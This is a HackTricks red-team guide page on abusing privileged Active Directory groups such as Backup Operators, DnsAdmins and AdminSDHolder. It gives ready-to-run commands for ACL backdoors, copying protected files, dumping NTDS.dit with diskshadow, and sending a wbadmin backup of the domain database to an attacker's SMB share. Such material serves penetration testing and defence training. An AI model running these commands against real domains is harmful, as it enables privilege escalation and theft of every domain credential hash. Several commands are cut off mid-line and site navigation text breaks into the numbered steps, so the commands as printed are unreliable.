Privileged Groups - HackTricks - HackTricks
Privileged Groups - HackTricks - HackTricks
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team
Expert)!
Account Operators
This group is empowered to create accounts and groups that are not administrators on the
domain. Additionally, it enables local login to the Domain Controller (DC).
To identify the members of this group, the following command is executed:
Get-NetGroupMember -Identity "Account Operators" -Recurse
AdminSDHolder group
The AdminSDHolder group's Access Control List (ACL) is crucial as it sets permissions for
all "protected groups" within Active Directory, including high-privilege groups. This
mechanism ensures the security of these groups by preventing unauthorized modifications.
An attacker could exploit this by modifying the AdminSDHolder group's ACL, granting full
permissions to a standard user. This would effectively give that user full control over all
protected groups. If this user's permissions are altered or removed, they would be
automatically reinstated within an hour due to the system's design.
Commands to review the members and modify permissions include:
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityRefere
AD Recycle Bin
Membership in this group allows for the reading of deleted Active Directory objects, which
can reveal sensitive information:
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
Privilege Escalation
Using PsService or sc from Sysinternals, one can inspect and modify service
permissions. The Server Operators group, for instance, has full control over certain
services, allowing for the execution of arbitrary commands and privilege escalation:
C:\> .\PsService.exe security AppReadiness
This command reveals that Server Operators have full access, enabling the manipulation
of services for elevated privileges.
Backup Operators
Membership in the Backup Operators group provides access to the DC01 file system due
to the SeBackup and SeRestore privileges. These privileges enable folder traversal,
listing, and file copying capabilities, even without explicit permissions, using the
FILE_FLAG_BACKUP_SEMANTICS flag. Utilizing specific scripts is necessary for this process.
Local Attack
To leverage these privileges locally, the following steps are employed:
1. Import necessary libraries:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
3. Access HackTricks
and copy files from restricted directories, for instance:
HackTricks HackTricks Training Twitter
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overw
AD Attack
Direct access to the Domain Controller's file system allows for the theft of the NTDS.dit
database, which contains all NTLM hashes for domain users and computers.
Using diskshadow.exe
1. Create a shadow copy of the C drive:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
Using wbadmin.exe
1. Set up NTFS filesystem for SMB server on attacker machine and cache SMB credentials
on the target machine.
2. Use wbadmin.exe for system backup and NTDS.dit extraction:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c
DnsAdmins
Members of the DnsAdmins group can exploit their privileges to load an arbitrary DLL with
SYSTEM privileges on a DNS server, often hosted on Domain Controllers. This capability
allows for significant exploitation potential.
To list members of the DnsAdmins group, use:
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
Restarting the DNS service (which may require additional permissions) is necessary for the
DLL to be loaded:
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
Hyper-V Administrators
Hyper-V Administrators have full access to Hyper-V, which can be exploited to gain control
over virtualized Domain Controllers. This includes cloning live DCs and extracting NTLM
hashes from the NTDS.dit file.
Exploitation Example
Firefox's Mozilla Maintenance Service can be exploited by Hyper-V Administrators to
execute commands as SYSTEM. This involves creating a hard link to a protected SYSTEM
file and replacing it with a malicious executable:
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice
sc.exe start MozillaMaintenance
Note: Hard link exploitation has been mitigated in recent Windows updates.
Organization Management
In environments where Microsoft Exchange is deployed, a special group known as
Organization Management holds significant capabilities. This group is privileged to access
the mailboxes of all domain users and maintains full control over the 'Microsoft Exchange
Security Groups' Organizational Unit (OU). This control includes the
Exchange Windows Permissions group, which can be exploited for privilege escalation.
Further insights into exploiting RDP can be found in dedicated pentesting resources.
Remote Management Users
Members can access PCs over Windows Remote Management (WinRM). Enumeration of
these members is achieved through:
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Use
References
https://ired.team/offensive-security-experiments/active-directory-kerberos-
abuse/privileged-accounts-and-token-privileges
https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-
escalation/
https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-
practices/appendix-b--privileged-accounts-and-groups-in-active-directory
https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-
privileges-in-c--
https://adsecurity.org/?p=3658
http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-
escalation/
https://rastamouse.me/2019/01/gpo-abuse-part-1/
https://github.com/killswitch-GUI/HotLoad-
Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13
https://github.com/tandasat/ExploitCapcom
https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp
https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e
https://undocumented.ntinternals.net/index.html?
page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoa
dDriver.html
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team
Expert)!
Previous
Force NTLM Privileged Authentication
Next
RDP Sessions Abuse
Last updated 3 months ago